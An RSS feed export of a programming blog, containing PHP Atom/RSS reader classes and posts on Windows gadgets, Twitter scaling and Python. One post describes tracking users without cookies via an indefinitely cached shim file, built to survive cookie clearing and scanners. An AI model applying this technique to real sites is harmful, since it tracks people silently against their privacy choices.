				<span style="color: #b1b100;">return</span> <span style="color: #009900; font-weight: bold;">null</span><span style="color: #339933;">;</span>
			<span style="color: #009900;">&#125;</span>
		<span style="color: #009900;">&#125;</span>
	<span style="color: #009900;">&#125;</span>
&nbsp;
	<span style="color: #009933; font-style: italic;">/**
	 * Name of the cache file for current URL.
	 *
	 * @return string
	 */</span>
	<span style="color: #000000; font-weight: bold;">private</span> <span style="color: #000000; font-weight: bold;">function</span> getCacheFilename<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
		<span style="color: #b1b100;">return</span> <span style="color: #990000;">sys_get_temp_dir</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">'/'</span> <span style="color: #339933;">.</span> <span style="color: #990000;">md5</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">url</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">'.feed.cache'</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span>
<span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #009933; font-style: italic;">/**
 * Interface for reading items from feed.
 */</span>
<span style="color: #000000; font-weight: bold;">interface</span> FeedReader <span style="color: #009900;">&#123;</span>
&nbsp;
	<span style="color: #009933; font-style: italic;">/**
	 * Create reader from SimpleXMLElement.
	 *
	 * @param SimpleXMLElement $root
	 */</span>
	<span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000000; font-weight: bold;">function</span> __construct<span style="color: #009900;">&#40;</span>SimpleXMLElement <span style="color: #000088;">$root</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
	<span style="color: #009933; font-style: italic;">/**
	 * Get single node.
	 *
	 * @return array or null.
	 */</span>
	<span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000000; font-weight: bold;">function</span> item<span style="color: #009900;">&#40;</span><span style="color: #000088;">$index</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
	<span style="color: #009933; font-style: italic;">/**
	 * Get number of items.
	 *
	 * @return int.
	 */</span>
	<span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000000; font-weight: bold;">function</span> <span style="color: #990000;">count</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
	<span style="color: #009933; font-style: italic;">/**
	 * Can this reader understand the XML file?
	 *
	 * @param SimpleXMLElement $root
	 * @return bool
	 */</span>
	<span style="color: #000000; font-weight: bold;">public</span> static <span style="color: #000000; font-weight: bold;">function</span> canRead<span style="color: #009900;">&#40;</span>SimpleXMLElement <span style="color: #000088;">$root</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #009933; font-style: italic;">/**
 * Concrete implementation of FeedReader that will never return an item.
 */</span>
<span style="color: #000000; font-weight: bold;">class</span> NullReader implements FeedReader <span style="color: #009900;">&#123;</span>
&nbsp;
	<span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000000; font-weight: bold;">function</span> __construct<span style="color: #009900;">&#40;</span>SimpleXMLElement <span style="color: #000088;">$root</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
		<span style="color: #666666; font-style: italic;">//Nothing</span>
	<span style="color: #009900;">&#125;</span>
&nbsp;
	<span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000000; font-weight: bold;">function</span> <span style="color: #990000;">count</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
		<span style="color: #b1b100;">return</span> <span style="color: #009900; font-weight: bold;">null</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span>
&nbsp;
	<span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000000; font-weight: bold;">function</span> item<span style="color: #009900;">&#40;</span><span style="color: #000088;">$index</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
		<span style="color: #b1b100;">return</span> <span style="color: #009900; font-weight: bold;">null</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span>
&nbsp;
	<span style="color: #000000; font-weight: bold;">public</span> static <span style="color: #000000; font-weight: bold;">function</span> canRead<span style="color: #009900;">&#40;</span>SimpleXMLElement <span style="color: #000088;">$root</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
		<span style="color: #b1b100;">return</span> <span style="color: #009900; font-weight: bold;">true</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span>
<span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #009933; font-style: italic;">/**
 * Concrete implementation of FeedReader that will read an Atom feed.
 */</span>
<span style="color: #000000; font-weight: bold;">class</span> AtomReader implements FeedReader <span style="color: #009900;">&#123;</span>
&nbsp;
	<span style="color: #000000; font-weight: bold;">private</span> <span style="color: #000088;">$root</span><span style="color: #339933;">;</span>
&nbsp;
	<span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000000; font-weight: bold;">function</span> __construct<span style="color: #009900;">&#40;</span>SimpleXMLElement <span style="color: #000088;">$root</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
		<span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">root</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$root</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span>
&nbsp;
	<span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000000; font-weight: bold;">function</span> <span style="color: #990000;">count</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
		<span style="color: #b1b100;">return</span> <span style="color: #990000;">count</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">root</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">entry</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span>
&nbsp;
	<span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000000; font-weight: bold;">function</span> item<span style="color: #009900;">&#40;</span><span style="color: #000088;">$index</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
		<span style="color: #000088;">$node</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">root</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">entry</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$index</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
&nbsp;
		<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><span style="color: #000088;">$node</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
			<span style="color: #b1b100;">return</span> <span style="color: #009900; font-weight: bold;">null</span><span style="color: #339933;">;</span>
		<span style="color: #009900;">&#125;</span>
&nbsp;
		<span style="color: #000088;">$item</span> <span style="color: #339933;">=</span> <span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span>
			<span style="color: #0000ff;">'title'</span> <span style="color: #339933;">=&gt;</span> <span style="color: #009900;">&#40;</span>string<span style="color: #009900;">&#41;</span><span style="color: #000088;">$node</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">title</span><span style="color: #339933;">,</span>
			<span style="color: #0000ff;">'description'</span> <span style="color: #339933;">=&gt;</span> <span style="color: #009900;">&#40;</span>string<span style="color: #009900;">&#41;</span><span style="color: #000088;">$node</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">description</span><span style="color: #339933;">,</span>
			<span style="color: #0000ff;">'image'</span> <span style="color: #339933;">=&gt;</span> <span style="color: #009900; font-weight: bold;">null</span><span style="color: #339933;">,</span>
			<span style="color: #0000ff;">'link'</span> <span style="color: #339933;">=&gt;</span> <span style="color: #009900; font-weight: bold;">null</span><span style="color: #339933;">,</span>
			<span style="color: #0000ff;">'date'</span> <span style="color: #339933;">=&gt;</span> <span style="color: #990000;">strtotime</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$node</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">published</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span>
		<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
		<span style="color: #666666; font-style: italic;">//Iterate through link nodes getting content URL and images.</span>
		<span style="color: #b1b100;">foreach</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$node</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">link</span> <span style="color: #b1b100;">as</span> <span style="color: #000088;">$link</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
			<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #990000;">strpos</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$link</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'type'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'text'</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">===</span> <span style="color: #cc66cc;">0</span> <span style="color: #339933;">||</span> <span style="color: #000088;">$item</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'link'</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">===</span> <span style="color: #009900; font-weight: bold;">null</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
				<span style="color: #000088;">$item</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'link'</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #009900;">&#40;</span>string<span style="color: #009900;">&#41;</span><span style="color: #000088;">$link</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'href'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
			<span style="color: #009900;">&#125;</span>
			<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #990000;">strpos</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$link</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'type'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'image'</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">===</span> <span style="color: #cc66cc;">0</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
				<span style="color: #000088;">$item</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'image'</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #009900;">&#40;</span>string<span style="color: #009900;">&#41;</span><span style="color: #000088;">$link</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'href'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
			<span style="color: #009900;">&#125;</span>
		<span style="color: #009900;">&#125;</span>
&nbsp;
		<span style="color: #b1b100;">return</span> <span style="color: #009900;">&#40;</span>object<span style="color: #009900;">&#41;</span><span style="color: #000088;">$item</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span>
&nbsp;
	<span style="color: #000000; font-weight: bold;">public</span> static <span style="color: #000000; font-weight: bold;">function</span> canRead<span style="color: #009900;">&#40;</span>SimpleXMLElement <span style="color: #000088;">$root</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
		<span style="color: #666666; font-style: italic;">//Check for Atom namespace.</span>
		<span style="color: #b1b100;">return</span> <span style="color: #990000;">in_array</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'http://www.w3.org/2005/Atom'</span><span style="color: #339933;">,</span> <span style="color: #000088;">$root</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">getNamespaces</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span>
<span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #009933; font-style: italic;">/**
 * Concrete implementation of FeedReader that will read an RSS feed.
 */</span>
<span style="color: #000000; font-weight: bold;">class</span> RSSReader implements FeedReader <span style="color: #009900;">&#123;</span>
&nbsp;
	<span style="color: #000000; font-weight: bold;">private</span> <span style="color: #000088;">$root</span><span style="color: #339933;">;</span>
&nbsp;
	<span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000000; font-weight: bold;">function</span> __construct<span style="color: #009900;">&#40;</span>SimpleXMLElement <span style="color: #000088;">$root</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
		<span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">root</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$root</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span>
&nbsp;
	<span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000000; font-weight: bold;">function</span> <span style="color: #990000;">count</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
		<span style="color: #b1b100;">return</span> <span style="color: #990000;">count</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">root</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">channel</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">item</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span>
&nbsp;
	<span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000000; font-weight: bold;">function</span> item<span style="color: #009900;">&#40;</span><span style="color: #000088;">$index</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
		<span style="color: #000088;">$node</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">root</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">channel</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">item</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$index</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
&nbsp;
		<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><span style="color: #000088;">$node</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
			<span style="color: #b1b100;">return</span> <span style="color: #009900; font-weight: bold;">null</span><span style="color: #339933;">;</span>
		<span style="color: #009900;">&#125;</span>
&nbsp;
		<span style="color: #b1b100;">return</span> <span style="color: #009900;">&#40;</span>object<span style="color: #009900;">&#41;</span><span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span>
			<span style="color: #0000ff;">'title'</span> <span style="color: #339933;">=&gt;</span> <span style="color: #009900;">&#40;</span>string<span style="color: #009900;">&#41;</span><span style="color: #000088;">$node</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">title</span><span style="color: #339933;">,</span>
			<span style="color: #0000ff;">'description'</span> <span style="color: #339933;">=&gt;</span> <span style="color: #009900;">&#40;</span>string<span style="color: #009900;">&#41;</span><span style="color: #000088;">$node</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">description</span><span style="color: #339933;">,</span>
			<span style="color: #0000ff;">'url'</span> <span style="color: #339933;">=&gt;</span> <span style="color: #009900;">&#40;</span>string<span style="color: #009900;">&#41;</span><span style="color: #000088;">$node</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">link</span><span style="color: #339933;">,</span>
			<span style="color: #0000ff;">'image'</span> <span style="color: #339933;">=&gt;</span> <span style="color: #009900; font-weight: bold;">null</span><span style="color: #339933;">,</span>
			<span style="color: #0000ff;">'date'</span> <span style="color: #339933;">=&gt;</span> <span style="color: #990000;">strtotime</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$node</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">pubDate</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span>
		<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span>
&nbsp;
	<span style="color: #000000; font-weight: bold;">public</span> static <span style="color: #000000; font-weight: bold;">function</span> canRead<span style="color: #009900;">&#40;</span>SimpleXMLElement <span style="color: #000088;">$root</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
		<span style="color: #666666; font-style: italic;">//RSS feeds name their root node 'rss'.</span>
		<span style="color: #b1b100;">return</span> <span style="color: #000088;">$root</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">getName</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">==</span> <span style="color: #0000ff;">'rss'</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span>
<span style="color: #009900;">&#125;</span></pre></div></div>

</div>
<p>There are a few things missing, namely any kind of encoding awareness and correct error handling. It also requires SimpleXML and <a href="http://uk2.php.net/manual/en/filesystem.configuration.php#ini.allow-url-fopen">allow_url_fopen</a> to be enabled. On the plus side the code is simple enough to hack in new features as they are needed.</p>
<p>I&#8217;m releasing this code under the <a href="http://creativecommons.org/licenses/BSD/">BSD License</a>, so feel free to take and modify it for any purposes.</p>
]]></content:encoded>
			<wfw:commentRss>http://joshduck.com/blog/2010/02/08/simple-atom-rss-reader-for-php/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Abusing the Cache: Tracking Users without Cookies</title>
		<link>http://joshduck.com/blog/2010/01/29/abusing-the-cache-tracking-users-without-cookies/</link>
		<comments>http://joshduck.com/blog/2010/01/29/abusing-the-cache-tracking-users-without-cookies/#comments</comments>
		<pubDate>Thu, 28 Jan 2010 22:02:17 +0000</pubDate>
		<dc:creator>Josh</dc:creator>
				<category><![CDATA[JavaScript]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[Programming]]></category>

		<guid isPermaLink="false">http://joshduck.com/blog/?p=17</guid>
		<description><![CDATA[I&#8217;ve been doing a little bit of research into ways to misuse browser history and cache and came across a very simple technique for tracking users without the need for cookies. Firstly, a demo. If you watch the HTTP requests you&#8217;ll see that there are no cookies being used.
To track a user I make use [...]]]></description>
			<content:encoded><![CDATA[<p>I&#8217;ve been doing a little bit of research into ways to misuse browser history and cache and came across a very simple technique for tracking users without the need for cookies. Firstly, a <a href="http://joshduck.com/random/tracker.php">demo</a>. If you watch the HTTP requests you&#8217;ll see that there are no cookies being used.</p>
<p><span id="more-17"></span>To track a user I make use of three URLs: the container, which can be any website; a shim file, which contains a unique code; and a tracking page, which stores (and in this case displays) requests. The trick lies in making the browser cache the shim file indefinitely. When the file is requested for the first &#8211; and only &#8211; time a unique identifier is embedded in the page. The shim embeds the tracking page, passing it the unique ID every time it is loaded. See the <a href="http://paste2.org/p/637481">source code</a>.</p>
<p>One neat thing about this method is that JavaScript is not strictly required. It is only used to pass the message and referrer to the tracker. It would probably be possible to replace the iframes with CSS and images to gain JS-free HTTP referrer logging but would lose the ability to store messages so easily.  </p>
<p>As to how useful this actually is; the only use cases I can really think of are not exactly legitimate. The most obvious is to track users who won&#8217;t accept cookies. This does have advantages over cookies too; namely that this kind of tracking is completely silent. Virus scanners which search for an delete tracking cookies won&#8217;t affect sites using this method. Likewise, manually clearing cookies won&#8217;t work.</p>
<p>The most practical implementation would be to use this in concert with cookies to make tracking IDs more sticky, so they could outlast a user clearing their cookies. I&#8217;ve also been looking into adapting the link colour hack to store custom values in the browser history (this is easily doable). Combining these three techniques would mean a user would have to simultaneously clear their cache, their history and their cookies to circumvent tracking.</p>
]]></content:encoded>
			<wfw:commentRss>http://joshduck.com/blog/2010/01/29/abusing-the-cache-tracking-users-without-cookies/feed/</wfw:commentRss>
		<slash:comments>15</slash:comments>
		</item>
		<item>
		<title>Windows Gadgets and Invalid Packages</title>
		<link>http://joshduck.com/blog/2010/01/24/windows-gadgets-and-invalid-packages/</link>
		<comments>http://joshduck.com/blog/2010/01/24/windows-gadgets-and-invalid-packages/#comments</comments>
		<pubDate>Sat, 23 Jan 2010 19:48:31 +0000</pubDate>
		<dc:creator>Josh</dc:creator>
				<category><![CDATA[JavaScript]]></category>
		<category><![CDATA[Programming]]></category>

		<guid isPermaLink="false">http://joshduck.com/blog/?p=15</guid>
		<description><![CDATA[I&#8217;ve recently upgraded to Windows 7 and decided to experiment with the in built gadgets. Windows gadgets are built on web technologies; each gadget is really just a couple of HTML pages glued together with JavaScript. This is good in principle but there are enough differences between the gadget environment and Internet Explorer to make [...]]]></description>
			<content:encoded><![CDATA[<p>I&#8217;ve recently upgraded to Windows 7 and decided to experiment with the in built gadgets. Windows gadgets are built on web technologies; each gadget is really just a couple of HTML pages glued together with JavaScript. This is good in principle but there are enough differences between the gadget environment and Internet Explorer to make testing difficult.</p>
<p><span id="more-15"></span>Today I started encountering the cryptic error message &#8220;This is not a valid gadget package&#8221; on a project I&#8217;ve been working on for the last few days. This is not the most useful of error message and had me perplexed for a little while. It turns out there are a couple of common causes for this problem:</p>
<ul>
<li>Firstly, simple zipping up a folder and renaming it to <em>foo.gadget</em> generally won&#8217;t work. Your <em>gadget.xml</em> manifest must be in the top level of the archive and Windows native zip handling (and most third part applications) will compress a folder, not its contents. To get around this you can zip the files from inside your gadget directory. This problem stung me the first time I tried to run my application, but is fairly easy to diagnose &#8211; just check the contents of the zip file after you&#8217;ve created in and before you rename it.</li>
<li>Some people have reported problems when setting the application version number to a simple value like &#8220;1&#8243; won&#8217;t work. You need to use the format <em>{major.minor.revision.build}</em>. Changing the version to 1.0.0.0 should be fine. It&#8217;s possible this only affects Vista; I couldn&#8217;t replicate this in Windows 7, and this wasn&#8217;t the cause of the error I was encountering.</li>
<li>The gadget.xml file must be in UTF-8 (or ASCII) format. UTF-16 simply won&#8217;t work. Windows 7 will warn you of an invalid manifest in this situation, which is more helpful than the generic error message I was getting.</li>
<li>Eventually I stumbled onto the solution to my problem. It turns out that if you include a zero length files in your gadget archive then it can&#8217;t be installed. I&#8217;d removed some styles from a stylesheet, leaving it blank. Simply removing the file caused the problems to clear up.</li>
</ul>
<p>All in all nothing was really learnt from this other than error messages should include information specific to the error and that there should be a debug more for gadget development.</p>
<p>The gadget I&#8217;m developing is very plain; meant more as an experiment than something useful, but I did build a few small tools that made development easier and that I hope to share in the near future.</p>
]]></content:encoded>
			<wfw:commentRss>http://joshduck.com/blog/2010/01/24/windows-gadgets-and-invalid-packages/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Twitter is CRUD</title>
		<link>http://joshduck.com/blog/2008/06/02/twitter-is-crud/</link>
		<comments>http://joshduck.com/blog/2008/06/02/twitter-is-crud/#comments</comments>
		<pubDate>Sun, 01 Jun 2008 22:28:50 +0000</pubDate>
		<dc:creator>Josh</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[twitter bandwagon scaling]]></category>

		<guid isPermaLink="false">http://joshduck.com/blog/2008/06/02/twitter-is-crud/</guid>
		<description><![CDATA[Any technical person is interested in solving big challenges. How to scale well (and cheaply) is one of the really big ones; and something that no one really seems to get right. I&#8217;ve read some interesting posts discussing Twitter&#8217;s problems lately (I&#8217;m a little slow to jump on this bandwagon, but like that&#8217;s going to [...]]]></description>
			<content:encoded><![CDATA[<p>Any technical person is interested in solving big challenges. How to scale well (and cheaply) is one of the really big ones; and something that no one really seems to get right. I&#8217;ve read some interesting posts <a href="http://venturebeat.com/2008/05/29/twitter-dont-blame-ruby-blame-scoble/">discussing Twitter&#8217;s problems</a> lately (I&#8217;m a little slow to jump on this bandwagon, but like that&#8217;s going to stop me). I haven&#8217;t been a Twitter-er up until now, but it&#8217;s hard to miss talk of them in the blogosphere.</p>
<p><span id="more-14"></span>While my first, naive, assumptions were that Twitter was a simple read/write system that could be knocked up in a week, numerous people have pointed out the many challenges that the website faces. TechCrunch has revealed that <a href="http://www.techcrunch.com/2008/04/29/end-of-speculation-the-real-twitter-usage-numbers/">Twitter handles 3 million messages</a> a day, from 200,000 active users. Many people have pointed out the fact that some Twitter users have upwards of 30,000 followers, and are themselves following that number of members themselves. This lead to the general consensus that Twitter is really just a giant messaging system, not just your basic <a href="http://en.wikipedia.org/wiki/Create%2C_read%2C_update_and_delete">CRUD</a> setup.</p>
<p>I found this conclusion to be a lot more insightful than the the usual &#8220;Rails sucks&#8221; arguments that are floating around. The view was echoed by a Twitter obsessed friend the other day who asked my opinion on how a hypothetical Twitter clone could be built. He was also of the opinion that the difficult part would be creating a robust messaging system to distribute messages to storage shards and other distribution systems (SMS and any other &#8220;push&#8221; delivery mechanisms). Viewed from that perspective, it becomes an interesting engineering challenge. I&#8217;m sure that a stable system could be built without too many problems.</p>
<p>Based on this line of thought I was pretty surprised to read today that <a href="http://blog.twitter.com/2008/05/its-not-rocket-science-but-its-our-work.html">Twitter is running on a single master MySQL database</a> with just two slaves serving out reads. Ouch. If they ran smoothly then there would be no reason to doubt that the company know what they are doing. However, this is obviously not the case. Even more confusing is an <a href="http://dev.twitter.com/2008/05/youve-got-qs-weve-got-as.html">old blog post</a> in which Twitter developers reveal that their biggest problems occur when users with many followers post. I can&#8217;t really imagine what setup would account for that. It sounds like a denormalized database contained within a single physical server, which just sounds like lot of effort for little gain.</p>
<p>For a company that has just secured a second, $15 million, round of funding their performance is ridiculous. Out of a over <a href="http://www.techcrunch.com/2008/04/28/how-much-is-twitter-worth/">a dozen staff</a> they have only <a href="http://www.techcrunch.com/2008/05/15/blaine-cook-joins-todays-gillmor-gang-talks-twitter/">three or four tech guys</a>. If I were investing I&#8217;d be asking what the hell is going on. I&#8217;m not trying to pretend that Twitter would be an easy fix, I don&#8217;t envy the engineers. They have to maintain their current (failing) product while simultaneously pushing to build a completely different system behind the scenes. I&#8217;ve been there, and it&#8217;s not fun. Apart from having to siphon off precious developer time to keep the old system patched up, they have to face the uphill task of rebuilding <em>everything</em>. Having a huge user-base makes this even more difficult, as they need to get this right first try. No one is going to be happy if an updated version falls over, drops features, or is any way inferior to what they have now. It wouldn&#8217;t be surprising to see the new version of their back end systems continuously delayed far into the future.</p>
<p>It should be interesting to see how and if Twitter recovers from all of this. The user base seems to have been fairly forgiving up until now. Even I signed up knowing all the problems they have. Having many bloggers shouting their praise wont hurt them much. Even the many complaints are free press, really. I doubt an stable Twitter would have been written up on TechCrunch quite so much. They do face the threat of someone stealing their glory though. Each day they have outages is a gift to the dozens of Twitter clones that are undoubtedly out there. Just think Friendster; I&#8217;m sure they&#8217;ll be stable any time now.</p>
]]></content:encoded>
			<wfw:commentRss>http://joshduck.com/blog/2008/06/02/twitter-is-crud/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>A First Look at Python</title>
		<link>http://joshduck.com/blog/2008/04/11/a-first-look-at-python/</link>
		<comments>http://joshduck.com/blog/2008/04/11/a-first-look-at-python/#comments</comments>
		<pubDate>Fri, 11 Apr 2008 11:47:08 +0000</pubDate>
		<dc:creator>Josh</dc:creator>
				<category><![CDATA[Programming]]></category>
		<category><![CDATA[Python]]></category>

		<guid isPermaLink="false">http://joshduck.com/blog/2008/04/11/a-first-look-at-python/</guid>
		<description><![CDATA[So I&#8217;ve been looking at and using Python recently. I thought I&#8217;d share some of my thoughts for those who haven&#8217;t had a chance to play with the language yet. I&#8217;ll try to avoid a preachy OMG-I&#8217;ve-just-discovered-the-best-thing-ever post, or to simply write another Python tutorial. I&#8217;ll look at the good and bad points of the [...]]]></description>
			<content:encoded><![CDATA[<p>So I&#8217;ve been looking at and using Python recently. I thought I&#8217;d share some of my thoughts for those who haven&#8217;t had a chance to play with the language yet. I&#8217;ll try to avoid a preachy OMG-I&#8217;ve-just-discovered-the-best-thing-ever post, or to simply write another Python tutorial. I&#8217;ll look at the good and bad points of the language.I first looked at Python a month or two ago. The guy and girls over at <a href="http://reddit.com/r/programming">programming.reddit.com</a> push it as the language to end all languages, so I decided to grab a copy of the (free!) <a href="http://www.diveintopython.org/">Dive Into Python</a> book. I started putting together a smallish personal project, but with no external pressure it petered out. When a discussion came up at work (a PHP shop) on how to quickly write a reliable server daemon I pushed the idea of Python. It took a little convincing, but the results speak for themselves.</p>
<p><span id="more-13"></span><br />
<h2>Picking an Editor</h2>
<p>I believe that the editor can make a huge difference to how you perceive a new language. What might be a massively frustrating time-sapping bug in one could be pointed out and corrected be another. Python doesn&#8217;t have any kind of officially recommended editor, and it can take a few hours to really get the feel of an IDE. Picking an editor when you don&#8217;t even know a language is even worse.</p>
<p>Dive Into Python suggested using Activestate&#8217;s Pythonwin. Unfortunately this advice seems to be very dated; the IDE was functional, but basic. I appreciated the in-built debugger and auto complete, but the editor itself seemed a little too rudimentary.</p>
<p>I eventually switched over to <a href="http://www.openkomodo.com/">Open Komodo</a>, also by ActiveState. The IDE is very good and does a lot of hand-holding that newbies appreciate, like looking after whitespace issues, providing auto-complete and picking up syntax errors. It does have a few drawbacks: it&#8217;s an editor, not an IDE, so you will need to run and debug your code outside the editor. It&#8217;s missing a few basic features, like a function list, but the problems are fairly minor. It is built on Firefox&#8217;s XUL platform so perhaps we&#8217;ll see more extensions becoming available in the near future.</p>
<h2>Interactive Shell</h2>
